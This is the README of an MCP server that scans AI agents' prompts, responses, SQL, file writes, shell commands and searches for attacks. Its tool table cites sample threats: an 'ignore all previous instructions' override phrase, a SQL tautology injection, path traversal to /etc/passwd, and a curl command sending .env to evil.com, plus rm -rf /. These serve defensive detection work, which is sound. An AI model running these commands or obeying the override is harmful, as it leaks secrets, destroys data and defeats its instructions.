Shrike Security
AI agent security scanner β prompt injection detection, SQL injection, PII isolation, threat intel.
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Shrike MCP
9 security tools for AI agents. Multi-stage detection pipeline. One MCP server.
Shrike MCP gives AI agents real-time security scanning for prompts, responses, SQL queries, file writes, CLI commands, and web searches β catching prompt injection, jailbreaks, PII leaks, and data exfiltration before they reach your users or systems.
Quick Start
1. Sign up at shrikesecurity.com/signup and get your API key.
2. Add to your MCP client config:
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": {
"SHRIKE_API_KEY": "your-api-key"
}
}
}
}
3. Your agent now has 9 security tools. Every prompt, response, and tool call is scanned through the full detection pipeline.
Nine Tools
| Tool | What It Scans | Example Threat |
|---|---|---|
scan_prompt | User/system prompts before LLM processing | "Ignore all previous instructions and..." |
scan_response | LLM outputs before returning to user | Leaked API keys, system prompt in output |
scan_sql_query | SQL queries before database execution | OR '1'='1' tautology injection |
scan_file_write | File paths and content before write | Path traversal to /etc/passwd, AWS keys in .env |
scan_command | CLI commands before shell execution | curl -d @.env https://evil.com, rm -rf /, reverse shells |
scan_web_search | Search queries before execution | PII in search: "records for John Smith SSN..." |
check_approval | Human-in-the-loop approval status | Poll and submit decisions for flagged actions |
report_bypass | User-reported missed detections | Feeds ThreatSense adaptive learning |
get_threat_intel | Current threat patterns and intelligence | Latest prompt injection techniques |
How It Works
Shrike uses a scan-sandwich pattern β every agent action is scanned on both sides:
User Input β scan_prompt β LLM Processing β scan_response β User Output
β
Tool Call (SQL, File, Command, Search)
β
scan_sql_query / scan_file_write / scan_command / scan_web_search
β
Tool Execution
Inbound scans catch injection attacks. Outbound scans catch data leaks. Tool-specific scans catch SQL injection, path traversal, command injection, and PII exposure. Flagged actions trigger human-in-the-loop approval via check_approval.
Detection Pipeline
Every scan runs through a multi-stage cascade β from sub-millisecond pattern matching to deep semantic analysis β so zero-day attacks that evade simple regex are still caught by the LLM layer.
| Stage | Purpose |
|---|---|
| Pattern Matching | Known attack signatures across 14+ languages |
| Input Normalization | Unicode tricks, encoding evasion, malformed payloads |
| Structural Analysis | Token sequences, semantic similarity to known attacks |
| LLM Semantic Analysis | Zero-day detection, context-aware jailbreak analysis |
| Response Intelligence | Output scanning for leaks, PII, and policy violations |
All stages run on every tier β community users get the same detection quality as enterprise.
Community Tier (Free)
| Feature | Included |
|---|---|
| Detection Pipeline | Full multi-stage pipeline |
| MCP Tools | All 9 |
| Scan Volume | 1,000 scans/month |
| Rate Limit | 10 scans/minute |
| Multilingual | 100+ languages |
| Compliance Catalogues | GDPR, HIPAA, ISO 27001, SOC 2, WebMCP |
| Dashboard | Activity feed, scan results, analytics, API key management |
| Credit Card | Not required |
Sign up at shrikesecurity.com/signup β no approval, no sales call.
Configuration
Environment Variables
| Variable | Description | Default |
|---|---|---|
SHRIKE_API_KEY | API key from your dashboard | none |
SHRIKE_BACKEND_URL | Backend API URL | https://api.shrikesecurity.com/agent |
MCP_SCAN_TIMEOUT_MS | Scan request timeout (ms) | 15000 |
MCP_RATE_LIMIT_PER_MINUTE | Client-side rate limit | 100 |
MCP_TRANSPORT | Transport: stdio or http | stdio |
MCP_PORT | HTTP port (when transport=http) | 8000 |
MCP_DEBUG | Debug logging | false |
Claude Desktop
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": { "SHRIKE_API_KEY": "your-api-key" }
}
}
}
Cursor
Add to Cursor settings (.cursor/mcp.json):
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": { "SHRIKE_API_KEY": "your-api-key" }
}
}
}
Windsurf
Add to ~/.codeium/windsurf/mcp_config.json:
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": { "SHRIKE_API_KEY": "your-api-key" }
}
}
}
Security Model
This server implements a fail-closed security model:
- Network timeouts result in BLOCK (not allow)
- Backend errors result in BLOCK (not allow)
- Unknown content types result in BLOCK (not allow)
This prevents bypass attacks via service disruption.
Response Format
Blocked:
{
"blocked": true,
"threat_type": "prompt_injection",
"severity": "high",
"confidence": "high",
"guidance": "This prompt contains patterns consistent with instruction override attempts.",
"request_id": "req_lxyz123_a8f3k2m9"
}
Safe:
{
"blocked": false,
"request_id": "req_lxyz123_a8f3k2m9"
}
Links
- Shrike Security β Sign up, dashboard, docs
- GitHub β Source code, issues
- npm β Package registry
- MCP Registry β Search "shrike"
License
Apache License 2.0 β See LICENSE for details.
